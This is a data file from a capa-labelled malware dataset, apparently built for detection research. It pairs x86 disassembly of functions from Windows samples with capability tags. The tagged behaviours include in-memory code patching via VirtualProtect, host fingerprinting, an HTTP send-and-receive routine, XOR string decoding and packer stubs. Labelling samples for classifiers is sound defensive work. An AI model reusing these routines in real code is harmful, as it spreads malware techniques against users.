joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013cd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x1003ff20], 0
push esi
push edi
je 0x10013df2
mov ecx, dword [0x1003ca5c]
mov edx, dword [0x1003fd54]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x1c
push edx
call eax
cmp dword [eax], 0
je 0x10013df2
push 0x20
mov dword [0x1003ba2c], 0x10006f80
call fcn.10006f80
movsx ecx, ax
shr ecx, 0x10
test ecx, ecx
je 0x10013d93
cmp byte [0x1003dda0], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
je 0x10013d43
cmp dword [0x1003dda4], 0
je 0x10013d9a
call esi
mov edx, dword [0x1003dda4]
inc edx
cmp edx, eax
ja 0x10013d9a
mov byte [0x1003dda0], 1
call esi
mov ecx, dword [0x1003ca5c]
mov edx, dword [0x1003fd54]
mov dword [0x1003dda4], eax
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x144
push edx
call eax
mov esi, eax
add esi, 2
je 0x10013e42
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 1
push esi
call edi
push 1
push 0x100336d8
jmp 0x10013e2b
mov byte [0x1003dda0], 0
mov ecx, dword [0x1003ca5c]
mov eax, dword [0x1003fd54]
mov edx, dword [ecx]
mov edx, dword [edx + 4]
add eax, 0x144
push eax
call edx
mov esi, eax
add esi, 2
je 0x10013e42
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call edi
push 1
push 0x100336dc
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 1
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x1003ca5c]
mov edx, dword [0x1003fd54]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
add edx, 0x144
push edx
call eax
mov esi, eax
add esi, 2
je 0x10013e42
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 1
push esi
call edi
push 1
push 0x100336dc
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 1
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100169e0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x10039018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x94
lea eax, [ebp - 0x98]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x98]
push ecx
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0x94]
cmp eax, 5
jne 0x10016a48
mov eax, 1
cmp dword [ebp - 0x90], eax
je 0x10016a3a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x10016a9a
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x10016a6a
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x10016a82
mov eax, 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x10016a38
mov eax, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret
cmp eax, 0xa
jne 0x10016a38
cmp dword [ebp - 0x90], 0
jne 0x10016a38
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 5
call fcn.10028cc0
mov esp, ebp
pop ebp
ret

Function at 0x10016ac0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x100395a0
push 0x1003fd10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.100169e0
mov esi, dword [sym.imp.MSVCR100.dll_sprintf]
dec eax
cmp eax, 4
ja case.default.0x10016ae6
jmp dword [eax*4 + 0x10016ba4]
cmp dword [ebp - 4], 1
jne case.0x10016ae6.2
push str.Win_XP
push 0x10040180
call esi
add esp, 8
call fcn.100169e0
dec eax
cmp eax, 4
ja case.default.0x10016b0d
jmp dword [eax*4 + 0x10016bb8]
cmp dword [ebp - 4], 2
jne case.0x10016b0d.1
push str.Win_Vista
push 0x10040180
call esi
add esp, 8
call fcn.100169e0
dec eax
cmp eax, 4
ja case.default.0x10016b34
jmp dword [eax*4 + 0x10016bcc]
cmp dword [ebp - 4], 3
jne case.0x10016b34.1
push str.Win_7
push 0x10040180
call esi
add esp, 8
call fcn.100169e0
dec eax
cmp eax, 4
ja case.default.0x10016b5b
jmp dword [eax*4 + 0x10016be0]
cmp dword [ebp - 4], 4
jne case.0x10016b5b.1
push str.Win_8
push 0x10040180
call esi
add esp, 8
call fcn.100169e0
dec eax
cmp eax, 4
ja case.default.0x10016b82
jmp dword [eax*4 + 0x10016bf4]
cmp dword [ebp - 4], 5
jne case.0x10016b82.1
push str.Wi_10
push 0x10040180
call esi
add esp, 8
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10017ba0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x10039018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
lea edx, [ebp - 0x230]
mov dword [ebp - 0x220], eax
push edx
lea eax, [ebp - 0x20c]
push eax
push 0
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x230], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0xc]
push 5
push edx
mov dword [ebp - 0x21c], 0x544547
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x22c], eax
test eax, eax
je 0x10017d2e
push 0
push 0
push 3
push 0
push 0
push 0x50
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x224], esi
test esi, esi
je 0x10017d21
mov ecx, 0x10033804
sub ecx, 0x25eafdfb
lea eax, [ebp - 0x218]
call fcn.10023df0
push 0
push 0x8404f700
push 0
push 0
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov byte [ebp - 0x210], al
test esi, esi
je 0x10017d1b
mov edi, dword [ebp - 0x220]
xor edx, edx
test edi, edi
je 0x10017cc0
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10017cb5
sub eax, edx
mov edx, eax
xor eax, eax
test ebx, ebx
je 0x10017cde
mov eax, ebx
lea ecx, [eax + 1]
mov dword [ebp - 0x220], ecx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10017cd1
sub eax, dword [ebp - 0x220]
push edx
push edi
push eax
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov edi, dword [ebp - 0x228]
lea edx, [ebp - 0x21c]
push edx
push 0x64
push edi
push esi
mov dword [ebp - 0x21c], 0x64
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x21c]
push esi
mov byte [edi + eax], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [ebp - 0x224]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10028cc0
mov esp, ebp
pop ebp
ret 0x14
Function at 0x100182c0
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
push 0xff
push 0x1003ba30
push 0x1003b194
push 0x1003bd64
push 0x1003dc84
push 0xff
push 0x1003da48
push 0x1003382c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [0x1003dc84]
mov ecx, eax
shl ecx, 5
add ecx, eax
imul eax, eax, 0x19
push ecx
push eax
push str._2x_2x
push esi
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x1001f310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1003bf94]
test eax, eax
je 0x1001f322
mov ecx, dword [eax + 2]
jmp 0x1001f324
xor ecx, ecx
mov ecx, dword [ecx]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x1003bd94], ecx
mov dword [0x1003bd90], 0x1001f2e0
mov dword [0x1003b184], 0x1003bd90
xor esi, esi
jmp 0x1001f355
mov eax, dword [0x1003bf94]
lea edx, [ebp - 4]
push edx
push 0x40
push 1
lea eax, [eax + esi + 2]
push eax
call edi
mov ecx, dword [0x1003bf94]
mov dl, byte [esi + 0x1003b184]
lea eax, [ecx + esi + 2]
lea ecx, [ebp - 4]
push ecx
mov byte [eax], dl
mov edx, dword [ebp - 4]
push edx
push 1
push eax
call edi
inc esi
cmp esi, 3
jle 0x1001f350
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001f5c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10039018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.xxxxxxx____xxx_
push 0x100347c0
push 0x128000
mov ecx, 0x42ce05ba
lea eax, [ebp - 0x10]
call fcn.10027d90
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
push eax
call fcn.100034b0
mov esi, eax
xor eax, eax
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], al
push str.xxxxxxxxx
lea eax, [esi + 6]
push 0x100347e8
mov dword [0x1003f3c8], eax
push 0x128000
mov ecx, 0x42ce05ba
lea eax, [ebp - 0x1c]
call fcn.10027d90
push eax
call edi
push eax
call fcn.100034b0
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x14], cl
add esp, 0x10
lea ecx, [eax + 6]
mov dword [0x1003dc98], ecx
test esi, esi
je 0x1001f671
mov ecx, 0x1001f0e0
mov edx, esi
call fcn.10007d70
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x1001f691
mov ecx, 0x1001f100
mov edx, eax
call fcn.10007d70
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0x1001f5a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10028cc0
mov esp, ebp
pop ebp
ret
Function at 0x1001f6c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0x6a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
jne 0x1001f723
test esi, esi
je 0x1001f700
lea eax, [ebp + 8]
push eax
push 0x80
push 7
push esi
call edi
push 7
push ebx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp + 8]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push 7
push esi
call edi
mov ecx, dword [ebp + 0xc]
add ecx, 7
lea edx, [esi + 7]
call fcn.10007b20
test esi, esi
je 0x1001f76c
lea eax, [ebp + 8]
push eax
push 0x40
push 5
push esi
call edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1001f74f
lea ecx, [ebp + 8]
push ecx
push 0x80
push 5
push esi
call edi
push 5
push ebx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp + 8]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 5
push esi
call edi
mov ecx, dword [ebp + 0xc]
add ecx, 5
lea edx, [esi + 5]
call fcn.10007b20
test esi, esi
je 0x1001f76c
lea ecx, [ebp + 8]
push ecx
push 0x40
push 7
push esi
call edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001f780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push 0x64
call fcn.10028c7e
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
cmp byte [edi], 0x6a
mov esi, eax
jne 0x1001f7ed
test esi, esi
je 0x1001f7cb
lea eax, [ebp - 4]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push edx
push 7
push esi
call ebx
lea ecx, [edi + 7]
lea edx, [esi + 7]
call fcn.10007b20
test esi, esi
je 0x1001f833
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push esi
call ebx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1001f819
lea ecx, [ebp - 4]
push ecx
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 8]
push edx
push eax
push 5
push esi
call ebx
lea ecx, [edi + 5]
lea edx, [esi + 5]
call fcn.10007b20
test esi, esi
je 0x1001f833
lea ecx, [ebp - 8]
push ecx
push 0x40
push 7
push esi
call ebx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020180
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100201c8
mov edx, dword [ebp + 8]
push esi
mov dword [0x1003bd7c], edx
call fcn.10007f30
mov esi, edx
call fcn.10007fa0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100185c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x1001fc80
push 0
push 0
call esi
pop esi
mov eax, 1
pop ebp
ret 0xc
Function at 0x100222e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10029da8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10039018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x100223ed
cmp byte [edi + 0x49], 0
je 0x100223ed
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x100223e1
lea esi, [ebp - 0x2c]
call fcn.10021b60
mov dword [ebp - 4], 0
lea ebx, [edi + 0x4c]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
lea ebx, [ebx]
mov ecx, eax
cmp edx, 0x10
jae 0x1002235c
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
push ebx
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x10022381
dec eax
je 0x10022385
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x100223dc
jmp 0x100223e8
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x10022395
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x100223bf
cmp edx, 0x10
jae 0x100223a4
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x100223d9
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x100223e5
test esi, esi
jne 0x10022350
push esi
push 8
lea esi, [ebp - 0x2c]
call fcn.10021c30
jmp 0x10022344
lea ecx, [ebp - 0x2c]
call fcn.10020250
xor al, al
jmp 0x100223ef
lea ecx, [ebp - 0x2c]
call fcn.10020250
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret

Function at 0x10024840
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10024850
mov al, byte [edi + ecx - 0x69143128]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002486d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xb
jl 0x10024850
mov byte [esi + 0xb], 0
mov eax, esi
ret

Function at 0x100248c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x3a
xor ecx, ecx
jmp 0x100248d0
mov al, byte [edi + ecx + 0x23832de2]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100248ed
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100248d0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10024cb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x10024cc0
mov al, byte [edi + ecx - 0x39ae069c]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10024cdd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10024cc0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10025030
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x83
xor ecx, ecx
jmp 0x10025040
mov al, byte [edi + ecx - 0x5127c690]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002505d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10025040
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100259b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x100259c0
mov al, byte [edi + ecx + 0x2058b1a8]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100259dd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xe
jl 0x100259c0
mov byte [esi + 0xe], 0
mov eax, esi
ret

Function at 0x10026d00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xcd
xor ecx, ecx
jmp 0x10026d10
mov al, byte [edi + ecx - 0x48c4e783]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10026d2d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10026d10
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10026d80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x9c
xor ecx, ecx
jmp 0x10026d90
mov al, byte [edi + ecx - 0x43f25fd6]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x10026dad
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10026d90
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10027010
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xcb
xor ecx, ecx
jmp 0x10027020
mov al, byte [edi + ecx + 0x7f8132e4]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002703d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10027020
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10027050
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xf5
xor ecx, ecx
jmp 0x10027060
mov al, byte [edi + ecx + 0x4f58ab13]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1002707d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x10027060
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100274b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x8a
xor ecx, ecx
jmp 0x100274c0
mov al, byte [edi + ecx - 0x33cb387a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100274dd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100274c0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x10027590
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x24
xor ecx, ecx
jmp 0x100275a0
mov al, byte [edi + ecx - 0x84e0d15]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100275bd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100275a0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x100277a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x6f
xor ecx, ecx
jmp 0x100277b0
mov al, byte [edi + ecx + 0x57c2b695]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x100277cd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x100277b0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x10028b40
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b078
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x10039018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x10028ba2
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.10028900
mov ecx, esi
call fcn.100289b0
mov eax, esi
push eax
mov ecx, edi
call fcn.10028a90
cmp dword [ebp + 0x1c], 0x10
jb 0x10028bd2
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10028cc0
mov esp, ebp
pop ebp
ret

Function at 0x10028cc0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10039018]
jne 0x10028cca
repz ret
jmp fcn.10029299
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x50440dba
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1dc22e16
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x544059ba
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x57c07ecc
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219